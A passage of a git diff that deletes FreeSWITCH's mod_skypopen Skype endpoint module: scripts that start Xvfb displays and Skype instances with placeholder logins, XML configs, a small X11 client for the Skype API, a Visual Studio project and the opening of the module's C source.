- /usr/bin/Xvfb :115 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:115  /usr/bin/skype --dbpath=/root/multi/skypopen115 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :116 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:116  /usr/bin/skype --dbpath=/root/multi/skypopen116 --pipelogin &"
-
-sleep 7
-
-
- /usr/bin/Xvfb :117 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:117  /usr/bin/skype --dbpath=/root/multi/skypopen117 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :118 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:118  /usr/bin/skype --dbpath=/root/multi/skypopen118 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :119 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:119  /usr/bin/skype --dbpath=/root/multi/skypopen119 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :120 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:120  /usr/bin/skype --dbpath=/root/multi/skypopen120 --pipelogin &"
-
-sleep 7
-
-exit 0
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/skypopen.conf.xml b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/skypopen.conf.xml
deleted file mode 100644 (file)
index 037a262..0000000
+++ /dev/null
@@ -1,31 +0,0 @@
-<configuration name="skypopen.conf" description="Skypopen Configuration">
-  <global_settings>
-    <param name="debug" value="8"/>
-    <param name="dialplan" value="XML"/>
-    <param name="context" value="default"/>
-    <param name="destination" value="5000"/>
-    <param name="skype_user" value="user5"/>
-    <param name="report_incoming_chatmessages" value="false"/>
-    <param name="silent_mode" value="false"/>
-    <param name="write_silence_when_idle" value="true"/>
-  </global_settings>
-  <!-- one entry here per each skypopen interface -->
-  <per_interface_settings>
-    <interface id="1" name="interface1">
-        <param name="X11-display" value=":101"/>
-        <param name="report_incoming_chatmessages" value="true"/>
-    </interface>
-    <interface id="2" name="interface2">
-        <param name="X11-display" value=":102"/>
-    </interface>
-<!-- following interfaces are commented out
-    <interface id="3" name="interface3">
-        <param name="X11-display" value=":103"/>
-    </interface>
-    <interface id="4" name="interface4">
-        <param name="X11-display" value=":104"/>
-    </interface>
--->
-  </per_interface_settings>
-</configuration>
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/skypopen.conf.xml b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/skypopen.conf.xml
deleted file mode 100644 (file)
index f4e1c0e..0000000
+++ /dev/null
@@ -1,34 +0,0 @@
-<configuration name="skypopen.conf" description="Skypopen Configuration">
-  <global_settings>
-    <param name="debug" value="8"/>
-    <param name="dialplan" value="XML"/>
-    <param name="context" value="default"/>
-    <param name="destination" value="5000"/>
-    <param name="skype_user" value="user1"/>
-    <param name="report_incoming_chatmessages" value="true"/>
-    <param name="silent_mode" value="false"/>
-    <param name="write_silence_when_idle" value="true"/>
-  </global_settings>
-  <!-- one entry here per each skypopen interface -->
-  <per_interface_settings>
-    <interface id="1" name="interface1">
-        <param name="X11-display" value=":101"/>
-        <param name="skype_user" value="user1"/>
-    </interface>
-    <interface id="2" name="interface2">
-        <param name="X11-display" value=":102"/>
-        <param name="skype_user" value="user2"/>
-    </interface>
-<!-- following interfaces are commented out
-    <interface id="3" name="interface3">
-        <param name="X11-display" value=":103"/>
-        <param name="skype_user" value="user3"/>
-    </interface>
-    <interface id="4" name="interface4">
-        <param name="X11-display" value=":104"/>
-        <param name="skype_user" value="user4"/>
-    </interface>
--->
-  </per_interface_settings>
-</configuration>
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/skypopen_auth.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/skypopen_auth.c
deleted file mode 100644 (file)
index f886834..0000000
+++ /dev/null
@@ -1,219 +0,0 @@
-//gcc -Wall -ggdb skypopen_auth.c -o skypopen_auth -lX11
-#include <stdio.h>
-#include <unistd.h>
-#include <X11/Xlib.h>
-#include <X11/Xlibint.h>
-#include <X11/Xatom.h>
-
-struct SkypopenHandles {
-       Window skype_win;
-       Display *disp;
-       Window win;
-       int api_connected;
-       int fdesc[2];
-};
-
-XErrorHandler old_handler = 0;
-int xerror = 0;
-char *dispname;
-
-int X11_errors_handler(Display * dpy, XErrorEvent * err)
-{
-       (void) dpy;
-
-       xerror = err->error_code;
-       printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
-       return 0;                                       /*  ignore the error */
-}
-
-static void X11_errors_trap(void)
-{
-       xerror = 0;
-       old_handler = XSetErrorHandler(X11_errors_handler);
-}
-
-static int X11_errors_untrap(void)
-{
-       XSetErrorHandler(old_handler);
-       return (xerror != BadValue) && (xerror != BadWindow);
-}
-
-int skypopen_send_message(struct SkypopenHandles *SkypopenHandles, const char *message_P)
-{
-
-       Window w_P;
-       Display *disp;
-       Window handle_P;
-       int ok;
-
-       w_P = SkypopenHandles->skype_win;
-       disp = SkypopenHandles->disp;
-       handle_P = SkypopenHandles->win;
-
-       Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
-       Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
-       unsigned int pos = 0;
-       unsigned int len = strlen(message_P);
-       XEvent e;
-
-       memset(&e, 0, sizeof(e));
-       e.xclient.type = ClientMessage;
-       e.xclient.message_type = atom1; /*  leading message */
-       e.xclient.display = disp;
-       e.xclient.window = handle_P;
-       e.xclient.format = 8;
-
-       X11_errors_trap();
-       do {
-               unsigned int i;
-               for (i = 0; i < 20 && i + pos <= len; ++i)
-                       e.xclient.data.b[i] = message_P[i + pos];
-               XSendEvent(disp, w_P, False, 0, &e);
-
-               e.xclient.message_type = atom2; /*  following messages */
-               pos += i;
-       } while (pos <= len);
-
-       XSync(disp, False);
-       ok = X11_errors_untrap();
-
-       if (!ok)
-               printf("Sending message failed with status %d\n", xerror);
-
-       return 1;
-}
-
-int skypopen_present(struct SkypopenHandles *SkypopenHandles)
-{
-       Atom skype_inst = XInternAtom(SkypopenHandles->disp, "_SKYPE_INSTANCE", True);
-
-       Atom type_ret;
-       int format_ret;
-       unsigned long nitems_ret;
-       unsigned long bytes_after_ret;
-       unsigned char *prop;
-       int status;
-
-       X11_errors_trap();
-       status =
-               XGetWindowProperty(SkypopenHandles->disp, DefaultRootWindow(SkypopenHandles->disp),
-                                                  skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
-
-       X11_errors_untrap();
-       /*  sanity check */
-       if (status != Success || format_ret != 32 || nitems_ret != 1) {
-               SkypopenHandles->skype_win = (Window) - 1;
-               printf("Skype instance not found on display '%s'\n", dispname);
-               return 0;
-       }
-
-       SkypopenHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
-       printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypopenHandles->skype_win);
-       return 1;
-}
-
-void skypopen_clean_disp(void *data)
-{
-
-       int *dispptr;
-       int disp;
-
-       dispptr = data;
-       disp = *dispptr;
-
-       if (disp) {
-               close(disp);
-       } else {
-       }
-       usleep(1000);
-}
-
-int main(int argc, char *argv[])
-{
-
-       struct SkypopenHandles SkypopenHandles;
-       char buf[512];
-       Display *disp = NULL;
-       Window root = -1;
-       Window win = -1;
-
-       if (argc == 2)
-               dispname = argv[1];
-       else
-               dispname = ":0.0";
-
-       disp = XOpenDisplay(dispname);
-       if (!disp) {
-               printf("Cannot open X Display '%s', exiting\n", dispname);
-               return -1;
-       }
-
-       int xfd;
-       xfd = XConnectionNumber(disp);
-
-       SkypopenHandles.disp = disp;
-
-       if (skypopen_present(&SkypopenHandles)) {
-               root = DefaultRootWindow(disp);
-               win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
-
-               SkypopenHandles.win = win;
-
-               snprintf(buf, 512, "NAME skypopen");
-
-               if (!skypopen_send_message(&SkypopenHandles, buf)) {
-                       printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
-                       return -1;
-               }
-
-               snprintf(buf, 512, "PROTOCOL 6");
-               if (!skypopen_send_message(&SkypopenHandles, buf)) {
-                       printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
-                       return -1;
-               }
-
-               /* perform an events loop */
-               XEvent an_event;
-               char buf[21];                   /*  can't be longer */
-               char buffer[17000];
-               char *b;
-               int i;
-
-               b = buffer;
-
-               while (1) {
-                       XNextEvent(disp, &an_event);
-                       switch (an_event.type) {
-                       case ClientMessage:
-
-                               if (an_event.xclient.format != 8)
-                                       break;
-
-                               for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
-                                       buf[i] = an_event.xclient.data.b[i];
-
-                               buf[i] = '\0';
-
-                               strcat(buffer, buf);
-
-                               if (i < 20) {   /* last fragment */
-                                       unsigned int howmany;
-
-                                       howmany = strlen(b) + 1;
-
-                                       printf("RECEIVED==> %s\n", b);
-                                       memset(buffer, '\0', 17000);
-                               }
-
-                               break;
-                       default:
-                               break;
-                       }
-               }
-       } else {
-               printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypopen_auth again\n\n\n", dispname);
-               return -1;
-       }
-       return 0;
-
-}
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/startskype.bat b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/startskype.bat
deleted file mode 100644 (file)
index 5624b02..0000000
+++ /dev/null
@@ -1,52 +0,0 @@
-echo off
-REM
-REM you MUST use the new Skype (4.x) for Windows, older versions (3.x) cannot be started this way
-REM
-REM you have to adjust PATH to where the Skype executable is
-set PATH=%PATH%;C:\Program Files\Skype\Phone\
-
-echo %PATH%
-
-REM start a Skype client instance that will login to the Skype network using the "username password" you give to it. Here xxx would be the password and user1 the username
-start Skype.exe /secondary /username:user1 /password:xxx
-call wait 7
-start Skype.exe /secondary /username:user2 /password:xxx
-call wait 7
-REM 
-REM Following Skype client instances are commented out
-REM
-REM start Skype.exe /secondary /username:user3 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user4 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user5 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user6 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user7 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user8 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user9 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user10 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user11 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user12 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user13 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user14 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user15 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user16 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user17 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user18 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user19 /password:xxx
-REM call wait 7
-REM start Skype.exe /secondary /username:user20 /password:xxx
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/startskype.sh b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/startskype.sh
deleted file mode 100755 (executable)
index 8e030ec..0000000
+++ /dev/null
@@ -1,143 +0,0 @@
-# remember to add here the removing of all the installed snd-* modules, so you're sure only the snd-dummy driver will be around
-rmmod snd_hda_intel
-rmmod snd-dummy 
-
-# if you DO NOT USE the custom ALSA device we provide, you need three "standard" dummy soundcard for 20 Skype client instances, because each "standard" dummy soundcard can handle a max of 8 Skype instances
-# the enable= module parameter tells how many cards to start. For each additional card, add a comma and a 1
-# manually configure the first 8 Skype client instances to use the hw:Dummy_0, the next 8 instances to use hw:Dummy_1, etc for all three devices (Play, Capture, Ring)
-modprobe snd-dummy # enable=1,1,1
-sleep 3
-
-#start the fake X server on a given port
- /usr/bin/Xvfb :101 -ac &
-sleep 3
-
-# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here xxxx would be the password and user1 the username
-su root -c "/bin/echo 'user1 xxxx'| DISPLAY=:101  /usr/bin/skype --pipelogin &"
-
-
-sleep 7
-
-
- /usr/bin/Xvfb :102 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user2 xxxx'| DISPLAY=:102  /usr/bin/skype --pipelogin &"
-
-sleep 7
-
-exit 0
-
-##################################################################################
-# Following X server and Skype client instances are NOT LAUNCHED (see line before)
-##################################################################################
-
- /usr/bin/Xvfb :103 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user3 xxxx'| DISPLAY=:103  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :104 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user4 xxxx'| DISPLAY=:104  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :105 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 xxxx'| DISPLAY=:105  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :106 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user6 xxxx'| DISPLAY=:106  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :107 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user7 xxxx'| DISPLAY=:107  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :108 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user8 xxxx'| DISPLAY=:108  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :109 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user9 xxxx'| DISPLAY=:109  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :110 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user10 xxxx'| DISPLAY=:110  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :111 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user11 xxxx'| DISPLAY=:111  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :112 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user12 xxxx'| DISPLAY=:112  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :113 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user13 xxxx'| DISPLAY=:113  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :114 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user14 xxxx'| DISPLAY=:114  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :115 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user15 xxxx'| DISPLAY=:115  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :116 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user16 xxxx'| DISPLAY=:116  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :117 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user17 xxxx'| DISPLAY=:117  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :118 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user18 xxxx'| DISPLAY=:118  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :119 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user19 xxxx'| DISPLAY=:119  /usr/bin/skype --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :120 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user20 xxxx'| DISPLAY=:120  /usr/bin/skype --pipelogin &"
-
-sleep 7
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/wait.bat b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/wait.bat
deleted file mode 100644 (file)
index 8381230..0000000
+++ /dev/null
@@ -1,4 +0,0 @@
-REM would you believe there is no sleep() in standard windows batchfiles?
-@ping 127.0.0.1 -n 2 -w 1000 > nul
-@ping 127.0.0.1 -n %1% -w 1000> nul
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/windows-service/startskype.cmd b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/windows-service/startskype.cmd
deleted file mode 100644 (file)
index 505a36c..0000000
+++ /dev/null
@@ -1,61 +0,0 @@
-echo off\r
-\r
-REM\r
-REM you MUST use the new Skype (4.x) for Windows, older versions (3.x) cannot be started this way\r
-REM\r
-REM you have to adjust PATH to where the Skype executable is\r
-set PATH=%PATH%;C:\Program Files\Skype\Phone\\r
-\r
-REM echo %PATH%\r
-\r
-REM start a Skype client instance that will login to the Skype network using the "username password" you give to it. \r
-REM Here xxxx would be the password and user20 the username\r
-\r
-start Skype.exe /secondary /username:user20 /password:xxxx\r
-call C:\wait.cmd 20\r
-\r
-start Skype.exe /secondary /username:user19 /password:xxxx\r
-call C:\wait.cmd 5\r
-\r
-REM \r
-REM Following Skype client instances are commented out\r
-REM\r
-\r
-REM start Skype.exe /secondary /username:user18 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user17 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user16 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user15 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user14 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user13 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user12 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user11 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user10 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user9 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user8 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user7 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user6 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user5 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user4 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user3 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user2 /password:xxxx\r
-REM call C:\wait.cmd 5\r
-REM start Skype.exe /secondary /username:user1 /password:xxxx\r
-call C:\wait.cmd 120\r
-NET start AICCU2\r
-pause \r
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/windows-service/wait.cmd b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/windows-service/wait.cmd
deleted file mode 100644 (file)
index 8381230..0000000
+++ /dev/null
@@ -1,4 +0,0 @@
-REM would you believe there is no sleep() in standard windows batchfiles?
-@ping 127.0.0.1 -n 2 -w 1000 > nul
-@ping 127.0.0.1 -n %1% -w 1000> nul
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/mod_skypopen.2008.vcproj b/src/mod/endpoints/mod_skypopen/mod_skypopen/mod_skypopen.2008.vcproj
deleted file mode 100644 (file)
index cfb7ccf..0000000
+++ /dev/null
@@ -1,166 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>\r
-<VisualStudioProject\r
-       ProjectType="Visual C++"\r
-       Version="9,00"\r
-       Name="mod_skypopen"\r
-       ProjectGUID="{39AFC76C-4F51-4245-964E-6C23DC127670}"\r
-       RootNamespace="mod_skypopen"\r
-       Keyword="Win32Proj"\r
-       TargetFrameworkVersion="131072"\r
-       >\r
-       <Platforms>\r
-               <Platform\r
-                       Name="Win32"\r
-               />\r
-       </Platforms>\r
-       <ToolFiles>\r
-       </ToolFiles>\r
-       <Configurations>\r
-               <Configuration\r
-                       Name="Debug|Win32"\r
-                       ConfigurationType="2"\r
-                       InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"\r
-                       CharacterSet="2"\r
-                       >\r
-                       <Tool\r
-                               Name="VCPreBuildEventTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCCustomBuildTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCXMLDataGeneratorTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCWebServiceProxyGeneratorTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCMIDLTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCCLCompilerTool"\r
-                               AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"\r
-                               UsePrecompiledHeader="0"\r
-                               WarningLevel="4"\r
-                               WarnAsError="false"\r
-                       />\r
-                       <Tool\r
-                               Name="VCManagedResourceCompilerTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCResourceCompilerTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCPreLinkEventTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCLinkerTool"\r
-                               AdditionalOptions="rpcrt4.lib  &quot;..\..\..\..\debug\libtiff.lib&quot; &quot;..\..\..\..\libs\spandsp\src\debug\spandsp.lib&quot;"\r
-                               RandomizedBaseAddress="1"\r
-                               DataExecutionPrevention="0"\r
-                       />\r
-                       <Tool\r
-                               Name="VCALinkTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCManifestTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCXDCMakeTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCBscMakeTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCFxCopTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCAppVerifierTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCPostBuildEventTool"\r
-                       />\r
-               </Configuration>\r
-               <Configuration\r
-                       Name="Release|Win32"\r
-                       ConfigurationType="2"\r
-                       InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"\r
-                       CharacterSet="2"\r
-                       >\r
-                       <Tool\r
-                               Name="VCPreBuildEventTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCCustomBuildTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCXMLDataGeneratorTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCWebServiceProxyGeneratorTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCMIDLTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCCLCompilerTool"\r
-                               AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"\r
-                               UsePrecompiledHeader="0"\r
-                       />\r
-                       <Tool\r
-                               Name="VCManagedResourceCompilerTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCResourceCompilerTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCPreLinkEventTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCLinkerTool"\r
-                               AdditionalOptions="rpcrt4.lib  &quot;..\..\..\..\debug\libtiff.lib&quot; &quot;..\..\..\..\libs\spandsp\src\debug\spandsp.lib&quot;"\r
-                               RandomizedBaseAddress="1"\r
-                               DataExecutionPrevention="0"\r
-                       />\r
-                       <Tool\r
-                               Name="VCALinkTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCManifestTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCXDCMakeTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCBscMakeTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCFxCopTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCAppVerifierTool"\r
-                       />\r
-                       <Tool\r
-                               Name="VCPostBuildEventTool"\r
-                       />\r
-               </Configuration>\r
-       </Configurations>\r
-       <References>\r
-       </References>\r
-       <Files>\r
-               <File\r
-                       RelativePath="..\mod_skypopen\mod_skypopen.c"\r
-                       >\r
-               </File>\r
-               <File\r
-                       RelativePath=".\skypopen.h"\r
-                       >\r
-               </File>\r
-               <File\r
-                       RelativePath=".\skypopen_protocol.c"\r
-                       >\r
-               </File>\r
-       </Files>\r
-       <Globals>\r
-       </Globals>\r
-</VisualStudioProject>\r
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/mod_skypopen.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/mod_skypopen.c
deleted file mode 100644 (file)
index e7584a1..0000000
+++ /dev/null
@@ -1,2558 +0,0 @@
-/*
- * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
- *
- * Version: MPL 1.1
- *
- * The contents of this file are subject to the Mozilla Public License Version
- * 1.1 (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- * http://www.mozilla.org/MPL/
- *
- * Software distributed under the License is distributed on an "AS IS" basis,
- * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- * for the specific language governing rights and limitations under the
- * License.
- *
- * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- *
- * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
- * Portions created by the Initial Developer are Copyright (C)
- * the Initial Developer. All Rights Reserved.
- *
- * This module (mod_skypopen) has been contributed by:
- *
- * Giovanni Maruzzelli (gmaruzz@gmail.com)
- *
- *
- * Further Contributors:
- *
- *
- *
- * mod_skypopen.c -- Skype compatible Endpoint Module
- *
- */
-
-#include "skypopen.h"
-#define MDL_CHAT_PROTO "skype"
-
-#ifdef WIN32
-/***************/
-// from http://www.openasthra.com/c-tidbits/gettimeofday-function-for-windows/
-
-#include <time.h>
-
-#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)
-#define DELTA_EPOCH_IN_MICROSECS  11644473600000000Ui64
-#else /*  */
-#define DELTA_EPOCH_IN_MICROSECS  11644473600000000ULL
-#endif /*  */
-struct sk_timezone {
-       int tz_minuteswest;                     /* minutes W of Greenwich */
-       int tz_dsttime;                         /* type of dst correction */
-};
-int gettimeofday(struct timeval *tv, struct sk_timezone *tz)
-{
-       FILETIME ft;
-       unsigned __int64 tmpres = 0;
-       static int tzflag;
-       if (NULL != tv) {
-               GetSystemTimeAsFileTime(&ft);
-               tmpres |= ft.dwHighDateTime;
-               tmpres <<= 32;
-               tmpres |= ft.dwLowDateTime;
-
-               /*converting file time to unix epoch */
-               tmpres /= 10;                   /*convert into microseconds */
-               tmpres -= DELTA_EPOCH_IN_MICROSECS;
-               tv->tv_sec = (long) (tmpres / 1000000UL);
-               tv->tv_usec = (long) (tmpres % 1000000UL);
-       }
-       if (NULL != tz) {
-               if (!tzflag) {
-                       _tzset();
-                       tzflag++;
-               }
-               tz->tz_minuteswest = _timezone / 60;
-               tz->tz_dsttime = _daylight;
-       }
-       return 0;
-}
-
-/***************/
-#endif /* WIN32 */
-SWITCH_MODULE_LOAD_FUNCTION(mod_skypopen_load);
-SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skypopen_shutdown);
-SWITCH_MODULE_DEFINITION(mod_skypopen, mod_skypopen_load, mod_skypopen_shutdown, NULL);
-SWITCH_STANDARD_API(sk_function);
-/* BEGIN: Changes here */
-#define SK_SYNTAX "list [full] || console || skype_API_msg || remove < skypeusername | #interface_name | #interface_id > || reload"
-/* END: Changes heres */
-SWITCH_STANDARD_API(skypopen_function);
-#define SKYPOPEN_SYNTAX "interface_name skype_API_msg"
-
-SWITCH_STANDARD_API(skypopen_chat_function);
-#define SKYPOPEN_CHAT_SYNTAX "interface_name remote_skypename TEXT"
-#define FULL_RELOAD 0
-#define SOFT_RELOAD 1
-
-char *interface_status[] = {   /* should match SKYPOPEN_STATE_xxx in skypopen.h */
-       "IDLE",
-       "DOWN",
-       "RING",
-       "DIALING",
-       "BUSY",
-       "UP",
-       "RINGING",
-       "PRERING",
-       "DOUBLE",
-       "SELECTD",
-       "HANG_RQ",
-       "PREANSW"
-};
-char *skype_callflow[] = {             /* should match CALLFLOW_XXX in skypopen.h */
-       "CALL_IDLE",
-       "CALL_DOWN",
-       "INCOMING_RNG",
-       "CALL_DIALING",
-       "CALL_LINEBUSY",
-       "CALL_ACTIVE",
-       "INCOMING_HNG",
-       "CALL_RLEASD",
-       "CALL_NOCARR",
-       "CALL_INFLUX",
-       "CALL_INCOMING",
-       "CALL_FAILED",
-       "CALL_NOSRVC",
